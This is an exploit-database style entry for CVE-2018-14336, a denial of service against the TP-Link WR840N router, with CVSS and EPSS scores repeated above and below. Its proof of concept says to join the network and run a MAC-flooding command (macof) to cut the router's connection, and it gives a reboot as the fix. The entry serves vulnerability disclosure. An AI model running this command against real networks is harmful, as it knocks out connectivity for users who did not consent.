5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
0.079 Low
EPSS
Percentile
94.3%
# Exploit Title:- TP-Link Wireless N Router WR840N - Buffer Overflow
# Date:- 2018-07-16
# Vendor Homepage:- https://www.tp-link.com/
# Hardware Link:- https://www.amazon.in/TP-LINK-TL-WR840N-300Mbps-Wireless-External/dp/B01A0G1J7Q
# Version:- TP-Link Wireless N Router WR840N
# Category:- Hardware
# Exploit Author:- Aniket Dinda
# Tested on:- Linux
# CVE:- CVE-2018-14336
**********************************************************************************************************
Proof Of Concept:-
1- First connect to this network
2- Open terminal => And Type "macof -i eth0 -n 10"
3- Hit Enter
4- You will see that your Net connection will lost.
******************************************************************************************************
Solutions:
1- You have to Reboot your router .
5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
0.079 Low
EPSS
Percentile
94.3%